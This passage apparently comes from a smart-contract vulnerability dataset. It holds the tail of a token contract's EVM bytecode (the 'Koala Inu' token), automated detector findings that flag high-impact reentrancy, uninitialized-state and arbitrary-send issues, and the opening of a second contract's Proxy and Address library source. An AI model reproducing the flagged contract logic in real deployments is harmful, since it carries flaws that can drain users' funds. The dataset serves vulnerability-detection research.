408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600981526020017f4b6f616c6120496e750000000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4b4f494e55efb88f000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205054f39ca54cae8ab1f3ac312b0c166699637273938aff621369a49754d6162364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,408 |
0x0a62cc5ebfa79b155b4ec90e74c00e0176692772
|
/**
*Submitted for verification at Etherscan.io on 2020-11-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
